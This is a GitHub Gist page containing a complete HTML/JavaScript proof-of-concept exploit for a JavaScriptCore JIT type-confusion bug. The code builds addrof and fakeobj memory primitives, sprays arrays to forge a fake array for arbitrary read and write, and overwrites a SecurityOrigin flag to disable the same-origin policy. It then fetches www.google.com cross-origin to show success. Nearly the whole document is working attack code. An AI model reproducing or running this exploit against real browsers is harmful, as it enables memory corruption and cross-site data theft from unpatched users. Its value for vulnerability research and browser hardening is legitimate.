Last active
August 17, 2021 01:09
-
-
Save jakeajames/5ceb90ebaa34eabb3e170b5c7eb2c7d1 to your computer and use it in GitHub Desktop.
todesco's jsc bug
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<pre id="logs"></pre> | |
<script> | |
// utilities | |
let arr = new Uint32Array(2); | |
let arr64 = new Float64Array(arr.buffer); // use same buffer | |
function floatToInt(float) { | |
arr64[0] = float; | |
return arr[0] + arr[1] * 2**32; | |
} | |
function intToFloat(int) { | |
arr[0] = int; | |
arr[1] = Math.floor(int/2**32); | |
return arr64[0]; | |
} | |
// address leak primitive | |
function addrof(obj) { | |
let confuse = new Array(1); | |
confuse[0] = 13.37; // we'll replace 13.37 with an object which will still be treated as a float | |
let date = new Date(); // we'll use this to trigger the bug | |
date[0] = 1; // set any number to any index, required but idk why, haven't looked at the bug | |
let trigger = false; | |
let orig = Object.getPrototypeOf(Date.prototype); | |
let func = function() { | |
if (trigger) { | |
confuse[0] = obj; // replace | |
} | |
}; | |
Date.prototype.__proto__ = new Proxy(Date.prototype.__proto__, {has: func}); // call func whenever we check if a property exists and it doesn't exist. this will trigger the bug | |
let arr64 = new Float64Array(1); // where to save result | |
let leak = function(date, arr64, confuse) { | |
confuse[0]; // idk why | |
var result = 1 in date; // trigger our handler; index cannot be the one we set (0 in this case) because that won't trigger the handler | |
arr64[0] = confuse[0]; | |
return result; // we need to return result otherwise after a few calls it will be optimized out and handler won't be called | |
} | |
for (let i = 0; i < 10000; i++) leak(date, arr64, confuse); // run a lot of times to JIT the function | |
trigger = true; | |
leak(date, arr64, confuse); | |
Object.setPrototypeOf(Date.prototype, orig); // fixup Date | |
return floatToInt(arr64[0]); | |
} | |
// same thing as addrof() except instead of leaking a pointer we replace a pointer | |
function fakeobj(addr) { | |
addr = intToFloat(addr); | |
let confuse = new Array(1); | |
confuse[0] = 13.37; | |
let date = new Date(); | |
date[0] = 1; | |
let trigger = false; | |
let orig = Object.getPrototypeOf(Date.prototype); | |
let func = function() { | |
if (trigger) { | |
confuse[0] = {}; // replace the float with an empty object | |
} | |
}; | |
Date.prototype.__proto__ = new Proxy(Date.prototype.__proto__, {has: func}); | |
let write = function(date, confuse) { | |
confuse[0]; | |
var result = 1 in date; | |
confuse[0] = addr; // replace our empty object with our target address | |
return result; | |
} | |
for (let i = 0; i < 10000; i++) write(date, confuse); // run a lot of times to JIT the function | |
trigger = true; | |
write(date, confuse); | |
Object.setPrototypeOf(Date.prototype, orig); | |
return confuse[0]; | |
} | |
print = function(what) { | |
document.getElementById("logs").innerHTML += what + "\n"; | |
} | |
escape = function(html) { | |
return html.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">").replace(/"/g, """).replace(/'/g, "'"); | |
} | |
function pwn() { | |
// stage 1 | |
print("[*] testing type confusion"); | |
test = fakeobj(addrof({a: 1337})); | |
if (test.a != 1337) { | |
print("[-] stage 1 failed"); | |
return; | |
} | |
print("[*] stage 1 successful"); | |
// stage 2 | |
print("[*] starting stage 2"); | |
// spray 0x5000 double arrays | |
var arr = []; | |
for (var i = 0; i < 0x5000; i++) { | |
var obj = [1.1, 1.2]; | |
obj.a = 1337; // this will be used later | |
obj["prop_" + i] = 2; // need a unique property to generate structure IDs | |
arr.push(obj); // push | |
} | |
target = arr[0]; // pick one of the arrays, we'll corrupt this | |
// now craft a fake array | |
var fake = {}; | |
fake.JSCellHeader = intToFloat(0x0108200700003000 - 2**48); // double array with structure ID 0x03000 | |
fake.Butterfly = target; // set our target object as the butterfly | |
// make it an object | |
fakeaddr = addrof(fake) + 0x10; // shift by 16 so we skip header and butterfly of "fake" and get to our data | |
print("[i] fake array at 0x" + fakeaddr.toString(16)); | |
fobj = fakeobj(fakeaddr); | |
// from now on changing fobj will corrupt target | |
var orig_bfo = fobj[1]; // save the butterfly of target | |
var boxed = [{}]; // contigous array, can hold objects, doubles, ints etc. | |
var unboxed = [13.37, 13.37, 13.37, 13.37]; // double array. can hold only doubles | |
unboxed[0] = 12.37; // trigger CopyOnWrite | |
var boxed_addr = addrof(boxed); | |
var unboxed_addr = addrof(unboxed); | |
fobj[1] = intToFloat(unboxed_addr); | |
var unboxed_bf = floatToInt(target[1]); // get butterfly of boxed | |
fobj[1] = intToFloat(boxed_addr); | |
var boxed_bf = floatToInt(target[1]); | |
target[1] = intToFloat(unboxed_bf); // set it to unboxed. now unboxed and boxed have the same butterfly | |
fobj[1] = orig_bfo; | |
addrof = function(obj) { | |
boxed[0] = obj; | |
return floatToInt(unboxed[0]); | |
}; | |
fakeobj = function(addr) { | |
unboxed[0] = intToFloat(addr); | |
return boxed[0]; | |
}; | |
add = addrof({a: 4141}) | |
test = fakeobj(add); | |
if (test.a != 4141) { | |
print("[-] stage 2 failed"); | |
return; | |
} | |
print("[*] stage 2 addrof/fakeobj successful"); | |
// doubles in reality can hold up to 52 bits, but this is enough on most cases | |
// for reading and writing we will modify 'a' property of 'target', using the butterfly can't be done as reading will only work when 8 bytes before the address contain a non-zero value (and similarly doing a write will corrupt those bytes if zero) | |
read52 = function(where) { | |
fobj[1] = intToFloat(where + 0x10); // property 'a' is at butterfly - 0x10 | |
ret = addrof(target.a); // although array is a double-only array that does not apply to properties, a pointer in there will be treated as an object | |
fobj[1] = orig_bfo; | |
return ret; | |
} | |
// this does not work when writing new flags, crashes immediately on fakeobj(). idk why? | |
write52 = function(where, what) { | |
fobj[1] = intToFloat(where + 0x10); // property 'a' is at butterfly - 0x10 | |
target.a = fakeobj(what); | |
fobj[1] = orig_bfo; | |
} | |
// works better in our case, but value must be greater than or equal to 2**48, that is why I align the flags offset in such a way | |
write_JSValue = function(where, what) { | |
fobj[1] = intToFloat(where + 0x10); | |
target.a = intToFloat(what - 2**48); | |
fobj[1] = orig_bfo; | |
} | |
print("[*] Starting stage 3") | |
var jsxhr = new XMLHttpRequest(); | |
var jsxhrAddr = addrof(jsxhr); | |
print("[i] JSXMLHttpRequest: 0x" + jsxhrAddr.toString(16)); | |
var xhrAddr = read52(jsxhrAddr + 0x18); | |
print("[i] XMLHttpRequest: 0x" + xhrAddr.toString(16)); | |
var scriptExecContextAddr = read52(xhrAddr + 0x68); | |
print("[i] ScriptExecutionContext: 0x" + scriptExecContextAddr.toString(16)); | |
var securityOriginPolicyAddr = read52(scriptExecContextAddr + 8); | |
print("[i] securityOriginPolicy: 0x" + securityOriginPolicyAddr.toString(16)); | |
securityOriginAddr = read52(securityOriginPolicyAddr + 8); | |
print("[i] securityOrigin: 0x" + securityOriginPolicyAddr.toString(16)); | |
flags = read52(securityOriginAddr + 0x2e); | |
print("[i] flags = 0x" + flags.toString(16)); | |
write_JSValue(securityOriginAddr + 0x2e, flags + 0x1000000); | |
flags = read52(securityOriginAddr + 0x2e); | |
print("[i] flags = 0x" + flags.toString(16)); | |
// I have no idea if this actually prevents future crashes | |
print("[*] Cleaning up"); | |
fobj[1] = intToFloat(boxed_addr); | |
target[1] = intToFloat(boxed_bf); | |
fobj[1] = orig_bfo; | |
delete fake.Butterfly; | |
jsxhr.onreadystatechange = function() { | |
if (this.readyState == 4 && this.status == 200) { | |
print("[+] Success! www.google.com: " + escape(jsxhr.responseText)); | |
} | |
}; | |
jsxhr.open("GET", "https://www.google.com", true); | |
jsxhr.send(); | |
} | |
pwn(); | |
</script> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment